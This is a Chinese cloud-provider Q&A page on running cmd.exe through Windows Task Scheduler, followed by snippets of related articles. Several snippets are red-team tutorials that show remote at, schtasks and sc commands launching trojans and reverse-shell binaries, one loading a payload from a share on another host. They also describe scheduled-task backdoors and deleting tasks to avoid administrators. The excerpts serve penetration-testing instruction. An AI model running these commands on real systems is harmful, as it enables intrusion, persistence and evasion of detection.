使用任务计划程序创建任务，以使用命令运行cmd.exe

是一种自动化执行命令的方法。任务计划程序是操作系统提供的工具，可以在指定的时间或事件触发时执行特定的任务。

任务计划程序可以在Windows操作系统中找到，它允许用户创建、修改和删除计划任务。通过任务计划程序，可以设置任务的触发器、操作和条件，以及其他高级设置。

创建任务的步骤如下：

打开任务计划程序：在Windows操作系统中，可以通过开始菜单或控制面板中的"任务计划程序"来打开任务计划程序。
创建新任务：在任务计划程序中，选择"创建基本任务"或"创建任务"选项，然后按照向导的指示进行操作。
设置触发器：选择任务触发的条件，可以是特定的时间、计算机启动或用户登录等。
设置操作：选择要执行的操作，这里选择"启动程序"。
配置程序和参数：在启动程序中，输入"cmd.exe"作为要运行的程序，并在参数中输入其他命令，如"/c"加上你要执行的命令。
完成设置：按照向导的指示完成任务的设置。

任务计划程序可以帮助用户自动执行各种任务，如定期备份数据、定时运行脚本、定时清理临时文件等。通过使用命令运行cmd.exe，用户可以在任务计划程序中执行各种命令，如运行批处理文件、执行系统命令等。

在腾讯云的产品中，与任务计划程序相关的产品是云服务器（CVM）。云服务器是腾讯云提供的弹性计算服务，用户可以在云服务器上创建和管理任务计划，以实现自动化的任务执行。

腾讯云云服务器产品介绍链接地址：https://cloud.tencent.com/product/cvm

相关·内容

用flock命令解决Linux计划任务重复执行

用下面命令即可： * * * * * flock -xn /tmp/my.lock -c '/data/release/some_exec.sh' 当下个任务启动时，flock命令检测到文件/tmp/...而原来正在运行的任务，执行完毕后，会自动删除/tmp/my.lock文件。

1.5K3 0

用oozie命令行的方式在yarn上运行spark任务

注意：杀死yarn进程的命令 yarn application -kill applicationID 1.做这个实验之前你的服务器上最好装了cdh集群，以及添加必要的组件，如hadoop，oozie，...4.然后在服务器上执行如下命令： ? 5.打开oozie的界面 ? 6.查看yarn的界面 ? 7.查看yarn的日志文件 ?

2.3K0 0

Excel: 使用Windows任务计划程序定时自动打开指定工作簿

如果Excel文件关闭，则使用 Application.OnTime 安排的过程也会暂停。本文通过Windows任务计划程序，每天早上8点自动打开指定路径的工作簿，然后激活工作表test。...（2）要使用Windows任务计划程序每天早上8点自动打开指定路径的工作簿，您可以按照以下步骤操作：打开任务计划程序：点击开始按钮，输入“任务计划程序”并打开它。...创建基本任务：在任务计划程序中，点击“创建基本任务”。命名任务：为您的任务指定一个名称和描述，然后点击“下一步”。...启动程序：选择“启动程序”，然后点击“下一步”。...测试任务：在一切设置完成后，您可以手动运行该任务以测试是否可以成功打开指定的工作簿并激活工作表"test"。

1971 0

使用任务计划开机启动ASP.NET Core应用程序

服务运行，但这需要额外添加代码，也可以使用IIS来托管ASP.NET Core应用程序，但可能需要安装一些支持IIS的组件，第三个方式就是用Windows任务计划来设置开机启动。...但是，当一个ASP.NET Core应用程序直接使用Windows任务计划启动的时候，ASP.NET Core应用程序无法正确读取到应用程序的配置文件从而导致程序运行出错，问题的原因在于任务计划执行的当前工作目录不是...，用任务计划启动Start.exe，而ASP.NET Core应用程序路径作为Start的命令行参数即可，完整代码如下： namespace Start { internal class Program...，即可顺利的在系统启动就运行ASP.NET Core应用程序了。...图1：添加一个系统启动执行任务的任务计划图2：任务计划启动start.exe，然后启动ASP.NET Core应用程序。

2352 0

Linux系统之一次性计划任务at命令的基本使用

[root@jeven ~]# cat /tmp/test.txttest3.3 查询计划任务计划任务设定后，在没有执行之前我们可以用atq命令来查看系统没有执行工作任务。...at和crontab都是用于任务调度的命令，但是它们的使用场景和运行方式不同，at命令适用于一次性的任务调度，而crontab命令适用于周期性的任务调度。。...五、at命令的使用注意事项at命令不适用于需要用户交互的程序，它只适用于一些可以直接运行的命令或程序。at命令需要root用户或具备特殊权限的用户才能进行操作。...at命令虽然可以在指定的时间运行命令或程序，但不保证一定会在该时间运行，因为系统可能会出现一些延迟。at命令可以运行多个命令或程序，只需要将它们以分号隔开即可。...at命令可以使用atq命令查看等待运行的任务列表，使用atrm命令删除未执行的任务。我正在参与2023腾讯技术创作特训营第三期有奖征文，组队打卡瓜分大奖！

2891 0

利用计划任务维持系统权限

在 Windows 系统上，可以使用计划任务来定时执行某些操作，方便用户对系统的使用和管理，红队成员也可以利用这个特性来对系统进行持久化的控制。...创建计划任务可以本地或者远程操作，也可以作为远程执行命令的一种方式，老版本的 Windows 系统可以用 at 命令创建，新系统内逐渐替换为 schtask 命令。...使用 Query 参数可以查看创建的任务计划： schtasks /Query /tn OnLogOff /fo List /v ? 当管理员登出系统时，触发任务执行： ?...也可以使用 Powershell 来创建计划任务： $A = New-ScheduledTaskAction -Execute "cmd.exe" -Argument "/c C:\temp\pentestlab.exe...使用 add 参数可以执行恶意命令的现有计划任务： SharPersist.exe -t schtaskbackdoor -c "C:\Windows\System32\cmd.exe" -a "/c

1.1K3 0

利用计划任务进行权限维持的几种姿势

命令提示符--持久性计划任务当用户再次使用系统登录时，将执行有效负载，并打开meterpreter会话。 ?...持续性–计划任务日期和时间如果为目标事件启用了事件日志记录，则可以在特定的Windows事件中触发任务。b33f在他的网站上演示了此技术。Windows事件命令行实用程序可用于查询事件ID。...计划任务注销– Meterpreter 或者，可以使用PowerShell创建计划任务，这些任务将在用户登录时或在特定时间和日期执行。...如果用户具有管理员级别的特权，则以下命令可以创建一个新的计划任务，该任务将在Windows登录期间执行。...此命令可用于主机的态势感知期间，并确定是否存在可以修改以运行有效负载而不是创建新任务的现有计划任务。

2.7K2 0

通过计划任务实现持续性攻击

Windows操作系统中提供了一个实用工具schtasks.exe，系统管理可以使用该工具完成在指定日期和时间执行程序或脚本的工作。但是目前这个工具经常被黑客或者红队利用，从而实现持续性攻击。...“schtasks”命令可以创建一个计划任务。...图*-* 用户管理员注销获取的Meterpreter 我们也可以使用PowerShell创建计划任务，这些任务将在用户登录时或在特定的时间和日期执行。...如果用户具有管理员级别的权限，就可以使用以下命令来创建一个新的计划任务，该任务将会在系统登录时执行。...图*-* 使用SharPersist列出的计划任务信息与Metasploit框架功能类似，SharPersist中也具有检查目标是否易受攻击的功能，SharPersist提供了一个运行检查，这个功能可用于通过检查名称和提供的参数来验证计划任务

1.1K3 0

SharPersist：一款渗透测试中实现Windows系统常驻的套件

它是一个用C#编写的命令行工具，可以反射性的加载Cobalt Strike的“execute-assembly”命令或任何其他支持反射性加载.NET程序集的框架。...还有一些与tradecraft相关的项已经内置到该工具及其支持的持久性技术中，例如file time stomping策略和最小化或隐藏运行应用程序。...需要删除持久性，可以使用“-m remove”参数，如下图所示。...在这本例中，我们将后门添加到了一个登录时运行的计划任务中，如下图所示。 ? 一旦我们有了一个我们想要后门的计划任务，我们就可以执行dryrun以确保命令成功运行，然后实际执行该命令，如下图所示。 ?...如下图所示，计划任务现在已被我们后门化。 ? 同样，你可以使用“-m remove”参数持久性后门任务，如下图所示。 ?

1.8K0 0

内网渗透测试：内网横向移动基础总结

我们可以通过at命令通过跳板机在目标主机DC上创建计划任务，让计算机在指定的时间执行木马程序，从而获得对内网目标主机的控制。操作如下： 1. 先与目标主机建立ipc连接。 2....接着使用at命令创建计划任务，让目标主机DC在指定的时间运行metasploit木马程序： at \\192.168.183.130 18:53:00 c:\shell.exe 如上图，成功在目标主机上创建了一个...最后，我们使用完计划任务后，还需要将该计划任务删除，以免被网管理员发现： at \\192.168.183.130 1 /delete // 1为计划任务的ID 除了就像上面那样利用计划任务执行木马程序获得主机权限外...利用 schtasks 命令上面我们讲了用at命令创建计划任务，但是该命令已经被Windows Vista、Windows Server 2008及之后版本的操作系统废弃了，代替他的是schtasks...计划任务成功运行后，执行如下命令强制删除该计划任务： schtasks /delete /s 192.168.183.130 /tn "backdoor" /f 除了就像上面那样利用计划任务执行木马程序获得主机权限外

3K1 0

横向移动

) type命令 type显示文本文件的内容 type \\192.168.10.1\c$\test.txt //读取目标机器上的文件 at命令 at用于显示或创建计划任务可通过at...命令设置计划任务执行命令，将结果写入文件中，然后通过type读取文件时间可通过net time来获取 at \\192.160.10.1 15:17:30 cmd.exe /c "ipconfig >...常用参数： /create 创建新计划任务 /query 列出所有计划任务 /delete 删除计划任务 /run 运行计划任务 /s 指定目标机器 /u 指定用户名 /p 指定木马 /tn 指定计划任务名称.../sc 指定计划频率(MINUTE、 HOURLY、DAILY、WEEKLY、MONTHLY, ONCE, ONSTART, ONLOGON, ONIDLE, ONEVENT) /tr 指定任务运行程序的路径.../ru 指定任务运行权限( ""、"NT AUTHORITY\SYSTEM" 或"SYSTEM") /st 指定运行任务的开始时间在目标机器上创建一个名为test的计划任务，该计划任务在开机时启动，

2.2K6 0

Windows设置开机启动挂载cfs，设置计划任务同步文件到cfs

，运行taskschd.msc或者开始菜单 → Windows管理工具 → 任务计划程序 → 任务计划程序库 → 右侧空白处右击“新建任务”图片如果是执行命令，管理员身份打开cmd，执行schtasks.exe...c:\task.bat" /f执行完成后手动修改下触发程序里的触发条件的启动时间为1900年的1月1日0点（因为默认启动时间是创建任务的那一刻的时间，关机后再开机，当时时间服务没起来，少8个小时，启动时间在接近未来...vbswscript.exe /nologo c:\vbs4.vbstimeout /nobreak /t 40subst W: P:\c:\windows\explorer.exeexitsubst命令基于共享路径创建的盘符带红叉...test.bat内容示例：@echo offdate /t>>c:\log.txttime /t>>c:\log.txtcopy /y c:\vbs* y:\>>c:\log.txtexit以上这些实现了：创建开机计划任务...，先挂网络盘，然后基于已挂好的网络盘用subst命令创建一个盘符出来，然后创建计划任务每隔5分钟执行一次包含copy动作的c:\test.bat也可以通过在startup目录放.cmd、.bat、.vbs

2.3K3 0

jps.exe -v显示1行还是2行，看java程序跑在普通命令行下还是管理员命令行

，要想Administrator命令行下执行jps.exe -v显示2行，那就得把java程序跑在Administrator命令行下，也就是说要想计划任务调用jps.exe -v显示2行，就得事先把java...'C:\runps.ps1'" /f 创建计划任务指定哪个用户触发计划任务，哪个用户得对相关脚本有权限示例中是Administrator触发计划任务，如果想mssql触发计划任务，那就改成mssql...，如果是普通命令行下效率高，那就不要用计划任务跑业务了，因为java.exe、jps.exe在计划任务里调用相当于在Administrator命令行下执行。...②如果业务是Administrator命令行下效率高或者无所谓哪种命令行（2种命令行效率相当），计划任务最好能在图形界面下运行（执行时间不定，意味着要一直有已登录状态的图形界面），比如一直远程登录状态不注销...+不锁屏+不断连，这种不现实，因此只能是：一直只使用vnc操作，用autologon (https://learn.microsoft.com/zh-cn/sysinternals/downloads/

1591 0

常见的远程执行命令方式整理

at \\192.168.17.138 15:18 c:\programdata\test.bat 查看 at 任务列表 at \\192.168.17.138 删除 at 计划任务，运行完成后一定要删除计划任务...工具说明需要远程系统启动 Task Scheduler 服务 at 会以 system 权限在远程系统上执行命令 schtasks 常用命令在远程系统建立计划任务(计划运行时会以 system...，因为在某些条件下，at 执行完任务后，任务信息没有删除（需要手动删除），用at命令查不到任务信息，但是用 schtasks 却能看到任务信息，任务名是At加一个数字(eg : At2)。...，以管理员权限运行远程进程 -d 不等待程序执行完就返回，请只对非交互式应用程序使用此选项 \ip 可以替换成 @ip.txt (存放多个 ip 的文本)，可以批量执行命令工具说明需要远程系统开启...-persist 程序会在后台运行，不会有结果输出，而且会返回这个命令进程的 PID，方便结束进程，用于运行 nc 或者木马程序。

6.3K1 0

内网渗透 | 横向移动总结

at命令 at 命令是Windows自带的用于创建计划任务的命令，但是at 命令只在2003及以下的版本使用。...我们可以通过at命令通过跳板机在目标主机DC上创建计划任务，让计算机在指定的时间执行木马程序，从而获得对内网目标主机的控制。...4.使用at命令创建计划任务 at \\ ?...5.删除计划任务这里的1为创建计划任务时候的ID at \\192.168.52.141 1 /delete ?...可以用如下schtasks命令查看创建的计划任务 schtasks /query /TN cs 这里同at命令一样，在域环境里面就没有截图cs上线的图。

3.5K2 0

域渗透-横向移动命令总结

#/S,指定要连接到的系统；/TN,指定要创建的计划任务的名称；/SC,指定计划任务执行频率 #/M0,指定计划任务执行周期；/TR,指定计划任务运行的程序路径；/RU,指定计划任务运行的用户权限...，在远程主机（10.10.10.19)创建计划任务，使用UNC路径加载位于192.168.26.20共享中的攻击载荷 schtasks /Create /S 10.10.10.19 /TN schtasksname...执行以下命令： sc \\10.10.10.19 create schtasksname binpath="cmd.exe /k C:\reverse_tcp.exe" #binpath,指定服务启动时运行的二进制文件...当客户端执行命令时，服务端通过PSEXESVC服务启动相应的程序执行命令并回显数据。运行结束后，PSEXESVC服务会被删除。...Administrator:Admin\@123@10.10.10.19 python wmiexec.py /:@ windows平台下可以使用

2.2K1 0

内网渗透基石篇——权限维持分析

输入“usemodulelateral_movemnet/invoke_wmi_debuggerinfo” 命令可以使用该模板，输入info命令可以查看具体的参数配置。...计划任务后门计划任务在Windows 7 及之前版本的操作系统中使用at命令调用，在从Windows 8 版本开始的操作系统中使用schtasks命令调用。...计划任务的后门分为管理员权限和普通用户权限两种，管理员权限的后门可以设置更多的计划任务。...使用PowerShell版本的PowerSploit渗透测试框架的Persistence模块，可以模拟生成一个自动创建计划任务的后门脚本上传到目标后，导入脚本 Import-Module ....\Persistence.psm1 如下命令，使用计划任务的方式创建后门。

1.3K2 0

域内横向移动分析及防御

2、Windows自带工具（1）dir 在使用net use命令与远程目标机器建立ipc$后，可以使用dir命令列出远程主机中的文件 dir \\192.168.1.10\c$ （2）tasklist...在使用net use命令与远程目标机器建立ipc$后，可以使用tasklist命令列出远程主机上运行的进程 tasklist /S 192.168.1.10 /U administrator /P...admin123 3、计划任务（1）at Windows server 2008之前的计划任务命令 //创建计划任务定时执行shell at \\192.168.1.10 4:11PM C:\shell.bat...// 创建之后会有一个任务ID，指定任务ID可以删除 at \\192.168.1.10 7 /delete （2）schtasks Windows server 2008之后的计划任务命令 //开机自启...psexec服务，并在本地磁盘中生成一个名为“PSEXECSVC”的二进制文件，然后通过psexec服务运行命令，运行结束后删除任务需要远程系统开启admin$共享（默认是开启的），会产生大量日志 /

1.4K1 1

利用组策略计划任务实现命令执行

组策略计划任务计算机配置和用户配置的区别 Windows Server2008R2使用计算机配置创建计划任务时，只有服务器会应用策略上线，PC机器不会应用策略。...因此在实战中，建议使用用户配置。 Windows Server2012使用计算机配置创建计划任务时，只有服务器会应用策略上线，PC机器不会应用策略。但是用户配置则没有此影响，均能应用策略上线。...因此在实战中，建议使用用户配置。自从Windows Server2016开始，当使用计算机配置创建计划任务时，默认该任务只有访问本地资源的权限，也就是不能实现远程上线。...组策略通过计划任务实现命令执行 Windows管理工具——>组策略管理，找到域——>右键——>在这个域中创建GPO并在此处链接(C) 输入组策略名字，我这里取名 test 找到我们刚刚创建的组策略，...然后如下，使用 %LogonDomain%\%LogonUser% 权限执行该计划任务外带主机名的命令如下： c:\windows\system32\cmd.exe /c for /F %X in

3.9K1 0

点击加载更多

扫码

添加站长进交流群

领取专属 10元无门槛券

手把手带您无忧上云